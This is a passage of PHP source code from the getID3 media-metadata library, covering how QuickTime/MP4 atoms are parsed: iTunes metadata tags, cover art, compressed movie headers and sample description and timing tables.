DESCription case 'disk': // DISK number case 'egid': // Episode Global ID case 'geID': // case 'gnre': // GeNRE case 'hdvd': // HD ViDeo case 'keyw': // KEYWord case 'ldes': // Long DEScription case 'pcst': // PodCaST case 'pgap': // GAPless Playback case 'plID': // case 'purd': // PURchase Date case 'purl': // Podcast URL case 'rati': // case 'rndu': // case 'rpdu': // case 'rtng': // RaTiNG case 'sfID': // iTunes store country case 'soaa': // SOrt Album Artist case 'soal': // SOrt ALbum case 'soar': // SOrt ARtist case 'soco': // SOrt COmposer case 'sonm': // SOrt NaMe case 'sosn': // SOrt Show Name case 'stik': // case 'tmpo': // TeMPO (BPM) case 'trkn': // TRacK Number case 'tven': // tvEpisodeID case 'tves': // TV EpiSode case 'tvnn': // TV Network Name case 'tvsh': // TV SHow Name case 'tvsn': // TV SeasoN if ($atom_parent == 'udta') { // User data atom handler $atom_structure['data_length'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2)); $atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2)); $atom_structure['data'] = substr($atom_data, 4); $atom_structure['language'] = $this->QuicktimeLanguageLookup($atom_structure['language_id']); if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) { $info['comments']['language'][] = $atom_structure['language']; } } else { // Apple item list box atom handler $atomoffset = 0; if (substr($atom_data, 2, 2) == "\x10\xB5") { // not sure what it means, but observed on iPhone4 data. // Each $atom_data has 2 bytes of datasize, plus 0x10B5, then data while ($atomoffset < strlen($atom_data)) { $boxsmallsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset, 2)); $boxsmalltype = substr($atom_data, $atomoffset + 2, 2); $boxsmalldata = substr($atom_data, $atomoffset + 4, $boxsmallsize); if ($boxsmallsize <= 1) { $this->warning('Invalid QuickTime atom smallbox size "'.$boxsmallsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset)); $atom_structure['data'] = null; $atomoffset = strlen($atom_data); break; } switch ($boxsmalltype) { case "\x10\xB5": $atom_structure['data'] = $boxsmalldata; break; default: $this->warning('Unknown QuickTime smallbox type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxsmalltype).'" ('.trim(getid3_lib::PrintHexBytes($boxsmalltype)).') at offset '.$baseoffset); $atom_structure['data'] = $atom_data; break; } $atomoffset += (4 + $boxsmallsize); } } else { while ($atomoffset < strlen($atom_data)) { $boxsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset, 4)); $boxtype = substr($atom_data, $atomoffset + 4, 4); $boxdata = substr($atom_data, $atomoffset + 8, $boxsize - 8); if ($boxsize <= 1) { $this->warning('Invalid QuickTime atom box size "'.$boxsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset)); $atom_structure['data'] = null; $atomoffset = strlen($atom_data); break; } $atomoffset += $boxsize; switch ($boxtype) { case 'mean': case 'name': $atom_structure[$boxtype] = substr($boxdata, 4); break; case 'data': $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($boxdata, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($boxdata, 1, 3)); switch ($atom_structure['flags_raw']) { case 0: // data flag case 21: // tmpo/cpil flag switch ($atomname) { case 'cpil': case 'hdvd': case 'pcst': case 'pgap': // 8-bit integer (boolean) $atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1)); break; case 'tmpo': // 16-bit integer $atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 2)); break; case 'disk': case 'trkn': // binary $num = getid3_lib::BigEndian2Int(substr($boxdata, 10, 2)); $num_total = getid3_lib::BigEndian2Int(substr($boxdata, 12, 2)); $atom_structure['data'] = empty($num) ? '' : $num; $atom_structure['data'] .= empty($num_total) ? '' : '/'.$num_total; break; case 'gnre': // enum $GenreID = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4)); $atom_structure['data'] = getid3_id3v1::LookupGenreName($GenreID - 1); break; case 'rtng': // 8-bit integer $atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1)); $atom_structure['data'] = $this->QuicktimeContentRatingLookup($atom_structure[$atomname]); break; case 'stik': // 8-bit integer (enum) $atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1)); $atom_structure['data'] = $this->QuicktimeSTIKLookup($atom_structure[$atomname]); break; case 'sfID': // 32-bit integer $atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4)); $atom_structure['data'] = $this->QuicktimeStoreFrontCodeLookup($atom_structure[$atomname]); break; case 'egid': case 'purl': $atom_structure['data'] = substr($boxdata, 8); break; case 'plID': // 64-bit integer $atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 8)); break; case 'covr': $atom_structure['data'] = substr($boxdata, 8); // not a foolproof check, but better than nothing if (preg_match('#^\\xFF\\xD8\\xFF#', $atom_structure['data'])) { $atom_structure['image_mime'] = 'image/jpeg'; } elseif (preg_match('#^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A#', $atom_structure['data'])) { $atom_structure['image_mime'] = 'image/png'; } elseif (preg_match('#^GIF#', $atom_structure['data'])) { $atom_structure['image_mime'] = 'image/gif'; } $info['quicktime']['comments']['picture'][] = array('image_mime'=>$atom_structure['image_mime'], 'data'=>$atom_structure['data'], 'description'=>'cover'); break; case 'atID': case 'cnID': case 'geID': case 'tves': case 'tvsn': default: // 32-bit integer $atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4)); } break; case 1: // text flag case 13: // image flag default: $atom_structure['data'] = substr($boxdata, 8); if ($atomname == 'covr') { // not a foolproof check, but better than nothing if (preg_match('#^\\xFF\\xD8\\xFF#', $atom_structure['data'])) { $atom_structure['image_mime'] = 'image/jpeg'; } elseif (preg_match('#^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A#', $atom_structure['data'])) { $atom_structure['image_mime'] = 'image/png'; } elseif (preg_match('#^GIF#', $atom_structure['data'])) { $atom_structure['image_mime'] = 'image/gif'; } $info['quicktime']['comments']['picture'][] = array('image_mime'=>$atom_structure['image_mime'], 'data'=>$atom_structure['data'], 'description'=>'cover'); } break; } break; default: $this->warning('Unknown QuickTime box type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxtype).'" ('.trim(getid3_lib::PrintHexBytes($boxtype)).') at offset '.$baseoffset); $atom_structure['data'] = $atom_data; } } } } $this->CopyToAppropriateCommentsSection($atomname, $atom_structure['data'], $atom_structure['name']); break; case 'play': // auto-PLAY atom $atom_structure['autoplay'] = (bool) getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $info['quicktime']['autoplay'] = $atom_structure['autoplay']; break; case 'WLOC': // Window LOCation atom $atom_structure['location_x'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2)); $atom_structure['location_y'] = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2)); break; case 'LOOP': // LOOPing atom case 'SelO': // play SELection Only atom case 'AllF': // play ALL Frames atom $atom_structure['data'] = getid3_lib::BigEndian2Int($atom_data); break; case 'name': // case 'MCPS': // Media Cleaner PRo case '@PRM': // adobe PReMiere version case '@PRQ': // adobe PRemiere Quicktime version $atom_structure['data'] = $atom_data; break; case 'cmvd': // Compressed MooV Data atom // Code by ubergeekØubergeek*tv based on information from // http://developer.apple.com/quicktime/icefloe/dispatch012.html $atom_structure['unCompressedSize'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 4)); $CompressedFileData = substr($atom_data, 4); if ($UncompressedHeader = @gzuncompress($CompressedFileData)) { $atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($UncompressedHeader, 0, $atomHierarchy, $ParseAllPossibleAtoms); } else { $this->warning('Error decompressing compressed MOV atom at offset '.$atom_structure['offset']); } break; case 'dcom': // Data COMpression atom $atom_structure['compression_id'] = $atom_data; $atom_structure['compression_text'] = $this->QuicktimeDCOMLookup($atom_data); break; case 'rdrf': // Reference movie Data ReFerence atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); $atom_structure['flags']['internal_data'] = (bool) ($atom_structure['flags_raw'] & 0x000001); $atom_structure['reference_type_name'] = substr($atom_data, 4, 4); $atom_structure['reference_length'] = getid3_lib::BigEndian2Int(substr($atom_data, 8, 4)); switch ($atom_structure['reference_type_name']) { case 'url ': $atom_structure['url'] = $this->NoNullString(substr($atom_data, 12)); break; case 'alis': $atom_structure['file_alias'] = substr($atom_data, 12); break; case 'rsrc': $atom_structure['resource_alias'] = substr($atom_data, 12); break; default: $atom_structure['data'] = substr($atom_data, 12); break; } break; case 'rmqu': // Reference Movie QUality atom $atom_structure['movie_quality'] = getid3_lib::BigEndian2Int($atom_data); break; case 'rmcs': // Reference Movie Cpu Speed atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['cpu_speed_rating'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); break; case 'rmvc': // Reference Movie Version Check atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['gestalt_selector'] = substr($atom_data, 4, 4); $atom_structure['gestalt_value_mask'] = getid3_lib::BigEndian2Int(substr($atom_data, 8, 4)); $atom_structure['gestalt_value'] = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4)); $atom_structure['gestalt_check_type'] = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2)); break; case 'rmcd': // Reference Movie Component check atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['component_type'] = substr($atom_data, 4, 4); $atom_structure['component_subtype'] = substr($atom_data, 8, 4); $atom_structure['component_manufacturer'] = substr($atom_data, 12, 4); $atom_structure['component_flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4)); $atom_structure['component_flags_mask'] = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4)); $atom_structure['component_min_version'] = getid3_lib::BigEndian2Int(substr($atom_data, 24, 4)); break; case 'rmdr': // Reference Movie Data Rate atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['data_rate'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $atom_structure['data_rate_bps'] = $atom_structure['data_rate'] * 10; break; case 'rmla': // Reference Movie Language Atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); $atom_structure['language'] = $this->QuicktimeLanguageLookup($atom_structure['language_id']); if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) { $info['comments']['language'][] = $atom_structure['language']; } break; case 'ptv ': // Print To Video - defines a movie's full screen mode // http://developer.apple.com/documentation/QuickTime/APIREF/SOURCESIV/at_ptv-_pg.htm $atom_structure['display_size_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2)); $atom_structure['reserved_1'] = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2)); // hardcoded: 0x0000 $atom_structure['reserved_2'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); // hardcoded: 0x0000 $atom_structure['slide_show_flag'] = getid3_lib::BigEndian2Int(substr($atom_data, 6, 1)); $atom_structure['play_on_open_flag'] = getid3_lib::BigEndian2Int(substr($atom_data, 7, 1)); $atom_structure['flags']['play_on_open'] = (bool) $atom_structure['play_on_open_flag']; $atom_structure['flags']['slide_show'] = (bool) $atom_structure['slide_show_flag']; $ptv_lookup[0] = 'normal'; $ptv_lookup[1] = 'double'; $ptv_lookup[2] = 'half'; $ptv_lookup[3] = 'full'; $ptv_lookup[4] = 'current'; if (isset($ptv_lookup[$atom_structure['display_size_raw']])) { $atom_structure['display_size'] = $ptv_lookup[$atom_structure['display_size_raw']]; } else { $this->warning('unknown "ptv " display constant ('.$atom_structure['display_size_raw'].')'); } break; case 'stsd': // Sample Table Sample Description atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); // see: https://github.com/JamesHeinrich/getID3/issues/111 // Some corrupt files have been known to have high bits set in the number_entries field // This field shouldn't really need to be 32-bits, values stores are likely in the range 1-100000 // Workaround: mask off the upper byte and throw a warning if it's nonzero if ($atom_structure['number_entries'] > 0x000FFFFF) { if ($atom_structure['number_entries'] > 0x00FFFFFF) { $this->warning('"stsd" atom contains improbably large number_entries (0x'.getid3_lib::PrintHexBytes(substr($atom_data, 4, 4), true, false).' = '.$atom_structure['number_entries'].'), probably in error. Ignoring upper byte and interpreting this as 0x'.getid3_lib::PrintHexBytes(substr($atom_data, 5, 3), true, false).' = '.($atom_structure['number_entries'] & 0x00FFFFFF)); $atom_structure['number_entries'] = ($atom_structure['number_entries'] & 0x00FFFFFF); } else { $this->warning('"stsd" atom contains improbably large number_entries (0x'.getid3_lib::PrintHexBytes(substr($atom_data, 4, 4), true, false).' = '.$atom_structure['number_entries'].'), probably in error. Please report this to info@getid3.org referencing bug report #111'); } } $stsdEntriesDataOffset = 8; for ($i = 0; $i < $atom_structure['number_entries']; $i++) { $atom_structure['sample_description_table'][$i]['size'] = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 4)); $stsdEntriesDataOffset += 4; $atom_structure['sample_description_table'][$i]['data_format'] = substr($atom_data, $stsdEntriesDataOffset, 4); $stsdEntriesDataOffset += 4; $atom_structure['sample_description_table'][$i]['reserved'] = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 6)); $stsdEntriesDataOffset += 6; $atom_structure['sample_description_table'][$i]['reference_index'] = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 2)); $stsdEntriesDataOffset += 2; $atom_structure['sample_description_table'][$i]['data'] = substr($atom_data, $stsdEntriesDataOffset, ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2)); $stsdEntriesDataOffset += ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2); if (substr($atom_structure['sample_description_table'][$i]['data'], 1, 54) == 'application/octet-stream;type=com.parrot.videometadata') { // special handling for apparently-malformed (TextMetaDataSampleEntry?) data for some version of Parrot drones $atom_structure['sample_description_table'][$i]['parrot_frame_metadata']['mime_type'] = substr($atom_structure['sample_description_table'][$i]['data'], 1, 55); $atom_structure['sample_description_table'][$i]['parrot_frame_metadata']['metadata_version'] = (int) substr($atom_structure['sample_description_table'][$i]['data'], 55, 1); unset($atom_structure['sample_description_table'][$i]['data']); $this->warning('incomplete/incorrect handling of "stsd" with Parrot metadata in this version of getID3() ['.$this->getid3->version().']'); continue; } $atom_structure['sample_description_table'][$i]['encoder_version'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 0, 2)); $atom_structure['sample_description_table'][$i]['encoder_revision'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 2, 2)); $atom_structure['sample_description_table'][$i]['encoder_vendor'] = substr($atom_structure['sample_description_table'][$i]['data'], 4, 4); switch ($atom_structure['sample_description_table'][$i]['encoder_vendor']) { case "\x00\x00\x00\x00": // audio tracks $atom_structure['sample_description_table'][$i]['audio_channels'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 8, 2)); $atom_structure['sample_description_table'][$i]['audio_bit_depth'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 10, 2)); $atom_structure['sample_description_table'][$i]['audio_compression_id'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12, 2)); $atom_structure['sample_description_table'][$i]['audio_packet_size'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 14, 2)); $atom_structure['sample_description_table'][$i]['audio_sample_rate'] = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 16, 4)); // video tracks // http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap3/qtff3.html $atom_structure['sample_description_table'][$i]['temporal_quality'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 8, 4)); $atom_structure['sample_description_table'][$i]['spatial_quality'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12, 4)); $atom_structure['sample_description_table'][$i]['width'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 16, 2)); $atom_structure['sample_description_table'][$i]['height'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 18, 2)); $atom_structure['sample_description_table'][$i]['resolution_x'] = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 24, 4)); $atom_structure['sample_description_table'][$i]['resolution_y'] = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 28, 4)); $atom_structure['sample_description_table'][$i]['data_size'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 32, 4)); $atom_structure['sample_description_table'][$i]['frame_count'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 36, 2)); $atom_structure['sample_description_table'][$i]['compressor_name'] = substr($atom_structure['sample_description_table'][$i]['data'], 38, 4); $atom_structure['sample_description_table'][$i]['pixel_depth'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 42, 2)); $atom_structure['sample_description_table'][$i]['color_table_id'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 44, 2)); switch ($atom_structure['sample_description_table'][$i]['data_format']) { case '2vuY': case 'avc1': case 'cvid': case 'dvc ': case 'dvcp': case 'gif ': case 'h263': case 'jpeg': case 'kpcd': case 'mjpa': case 'mjpb': case 'mp4v': case 'png ': case 'raw ': case 'rle ': case 'rpza': case 'smc ': case 'SVQ1': case 'SVQ3': case 'tiff': case 'v210': case 'v216': case 'v308': case 'v408': case 'v410': case 'yuv2': $info['fileformat'] = 'mp4'; $info['video']['fourcc'] = $atom_structure['sample_description_table'][$i]['data_format']; if ($this->QuicktimeVideoCodecLookup($info['video']['fourcc'])) { $info['video']['fourcc_lookup'] = $this->QuicktimeVideoCodecLookup($info['video']['fourcc']); } // https://www.getid3.org/phpBB3/viewtopic.php?t=1550 //if ((!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['width'])) && (empty($info['video']['resolution_x']) || empty($info['video']['resolution_y']) || (number_format($info['video']['resolution_x'], 6) != number_format(round($info['video']['resolution_x']), 6)) || (number_format($info['video']['resolution_y'], 6) != number_format(round($info['video']['resolution_y']), 6)))) { // ugly check for floating point numbers if (!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['height'])) { // assume that values stored here are more important than values stored in [tkhd] atom $info['video']['resolution_x'] = $atom_structure['sample_description_table'][$i]['width']; $info['video']['resolution_y'] = $atom_structure['sample_description_table'][$i]['height']; $info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x']; $info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y']; } break; case 'qtvr': $info['video']['dataformat'] = 'quicktimevr'; break; case 'mp4a': default: $info['quicktime']['audio']['codec'] = $this->QuicktimeAudioCodecLookup($atom_structure['sample_description_table'][$i]['data_format']); $info['quicktime']['audio']['sample_rate'] = $atom_structure['sample_description_table'][$i]['audio_sample_rate']; $info['quicktime']['audio']['channels'] = $atom_structure['sample_description_table'][$i]['audio_channels']; $info['quicktime']['audio']['bit_depth'] = $atom_structure['sample_description_table'][$i]['audio_bit_depth']; $info['audio']['codec'] = $info['quicktime']['audio']['codec']; $info['audio']['sample_rate'] = $info['quicktime']['audio']['sample_rate']; $info['audio']['channels'] = $info['quicktime']['audio']['channels']; $info['audio']['bits_per_sample'] = $info['quicktime']['audio']['bit_depth']; switch ($atom_structure['sample_description_table'][$i]['data_format']) { case 'raw ': // PCM case 'alac': // Apple Lossless Audio Codec case 'sowt': // signed/two's complement (Little Endian) case 'twos': // signed/two's complement (Big Endian) case 'in24': // 24-bit Integer case 'in32': // 32-bit Integer case 'fl32': // 32-bit Floating Point case 'fl64': // 64-bit Floating Point $info['audio']['lossless'] = $info['quicktime']['audio']['lossless'] = true; $info['audio']['bitrate'] = $info['quicktime']['audio']['bitrate'] = $info['audio']['channels'] * $info['audio']['bits_per_sample'] * $info['audio']['sample_rate']; break; default: $info['audio']['lossless'] = false; break; } break; } break; default: switch ($atom_structure['sample_description_table'][$i]['data_format']) { case 'mp4s': $info['fileformat'] = 'mp4'; break; default: // video atom $atom_structure['sample_description_table'][$i]['video_temporal_quality'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 8, 4)); $atom_structure['sample_description_table'][$i]['video_spatial_quality'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12, 4)); $atom_structure['sample_description_table'][$i]['video_frame_width'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 16, 2)); $atom_structure['sample_description_table'][$i]['video_frame_height'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 18, 2)); $atom_structure['sample_description_table'][$i]['video_resolution_x'] = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 20, 4)); $atom_structure['sample_description_table'][$i]['video_resolution_y'] = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 24, 4)); $atom_structure['sample_description_table'][$i]['video_data_size'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 28, 4)); $atom_structure['sample_description_table'][$i]['video_frame_count'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 32, 2)); $atom_structure['sample_description_table'][$i]['video_encoder_name_len'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 34, 1)); $atom_structure['sample_description_table'][$i]['video_encoder_name'] = substr($atom_structure['sample_description_table'][$i]['data'], 35, $atom_structure['sample_description_table'][$i]['video_encoder_name_len']); $atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 66, 2)); $atom_structure['sample_description_table'][$i]['video_color_table_id'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 68, 2)); $atom_structure['sample_description_table'][$i]['video_pixel_color_type'] = (($atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] > 32) ? 'grayscale' : 'color'); $atom_structure['sample_description_table'][$i]['video_pixel_color_name'] = $this->QuicktimeColorNameLookup($atom_structure['sample_description_table'][$i]['video_pixel_color_depth']); if ($atom_structure['sample_description_table'][$i]['video_pixel_color_name'] != 'invalid') { $info['quicktime']['video']['codec_fourcc'] = $atom_structure['sample_description_table'][$i]['data_format']; $info['quicktime']['video']['codec_fourcc_lookup'] = $this->QuicktimeVideoCodecLookup($atom_structure['sample_description_table'][$i]['data_format']); $info['quicktime']['video']['codec'] = (($atom_structure['sample_description_table'][$i]['video_encoder_name_len'] > 0) ? $atom_structure['sample_description_table'][$i]['video_encoder_name'] : $atom_structure['sample_description_table'][$i]['data_format']); $info['quicktime']['video']['color_depth'] = $atom_structure['sample_description_table'][$i]['video_pixel_color_depth']; $info['quicktime']['video']['color_depth_name'] = $atom_structure['sample_description_table'][$i]['video_pixel_color_name']; $info['video']['codec'] = $info['quicktime']['video']['codec']; $info['video']['bits_per_sample'] = $info['quicktime']['video']['color_depth']; } $info['video']['lossless'] = false; $info['video']['pixel_aspect_ratio'] = (float) 1; break; } break; } switch (strtolower($atom_structure['sample_description_table'][$i]['data_format'])) { case 'mp4a': $info['audio']['dataformat'] = 'mp4'; $info['quicktime']['audio']['codec'] = 'mp4'; break; case '3ivx': case '3iv1': case '3iv2': $info['video']['dataformat'] = '3ivx'; break; case 'xvid': $info['video']['dataformat'] = 'xvid'; break; case 'mp4v': $info['video']['dataformat'] = 'mpeg4'; break; case 'divx': case 'div1': case 'div2': case 'div3': case 'div4': case 'div5': case 'div6': $info['video']['dataformat'] = 'divx'; break; default: // do nothing break; } unset($atom_structure['sample_description_table'][$i]['data']); } break; case 'stts': // Sample Table Time-to-Sample atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $sttsEntriesDataOffset = 8; //$FrameRateCalculatorArray = array(); $frames_count = 0; $max_stts_entries_to_scan = ($info['php_memory_limit'] ? min(floor($this->getid3->memory_limit / 10000), $atom_structure['number_entries']) : $atom_structure['number_entries']); if ($max_stts_entries_to_scan < $atom_structure['number_entries']) { $this->warning('QuickTime atom "stts" has '.$atom_structure['number_entries'].' but only scanning the first '.$max_stts_entries_to_scan.' entries due to limited PHP memory available ('.floor($this->getid3->memory_limit / 1048576).'MB).'); } for ($i = 0; $i < $max_stts_entries_to_scan; $i++) { $atom_structure['time_to_sample_table'][$i]['sample_count'] = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4)); $sttsEntriesDataOffset += 4; $atom_structure['time_to_sample_table'][$i]['sample_duration'] = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4)); $sttsEntriesDataOffset += 4; $frames_count += $atom_structure['time_to_sample_table'][$i]['sample_count']; // THIS SECTION REPLACED WITH CODE IN "stbl" ATOM //if (!empty($info['quicktime']['time_scale']) && ($atom_structure['time_to_sample_table'][$i]['sample_duration'] > 0)) { // $stts_new_framerate = $info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration']; // if ($stts_new_framerate <= 60) { // // some atoms have durations of "1" giving a very large framerate, which probably is not right // $info['video']['frame_rate'] = max($info['video']['frame_rate'], $stts_new_framerate); // } //} // //$FrameRateCalculatorArray[($info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'])] += $atom_structure['time_to_sample_table'][$i]['sample_count']; } $info['quicktime']['stts_framecount'][] = $frames_count; //$sttsFramesTotal = 0; //$sttsSecondsTotal = 0; //foreach ($FrameRateCalculatorArray as $frames_per_second => $frame_count) { // if (($frames_per_second > 60) || ($frames_per_second < 1)) { // // not video FPS information, probably audio information // $sttsFramesTotal = 0; // $sttsSecondsTotal = 0; // break; // } // $sttsFramesTotal += $frame_count; // $sttsSecondsTotal += $frame_count / $frames_per_second; //} //if (($sttsFramesTotal > 0) && ($sttsSecondsTotal > 0)) { // if (($sttsFramesTotal / $sttsSecondsTotal) > $info['video']['frame_rate']) { // $info['video']['frame_rate'] = $sttsFramesTotal / $sttsSecondsTotal; // } //} break; case 'stss': // Sample Table Sync Sample (key frames) atom if ($ParseAllPossibleAtoms) { $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $stssEntriesDataOffset = 8; for ($i = 0; $i < $atom_structure['number_entries']; $i++) { $atom_structure['time_to_sample_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stssEntriesDataOffset, 4)); $stssEntriesDataOffset += 4; } } break; case 'stsc': // Sample Table Sample-to-Chunk atom if ($ParseAllPossibleAtoms) { $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $stscEntriesDataOffset = 8; for ($i = 0; $i < $atom_structure['number_entries']; $i++) { $atom_structure['sample_to_chunk_table'][$i]['first_chunk'] = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4)); $stscEntriesDataOffset += 4; $atom_structure['sample_to_chunk_table'][$i]['samples_per_chunk'] = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4)); $stscEntriesDataOffset += 4; $atom_structure['sample_to_chunk_table'][$i]['sample_description'] = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4)); $stscEntriesDataOffset += 4; } } break; case 'stsz': // Sample Table SiZe atom if ($ParseAllPossibleAtoms) { 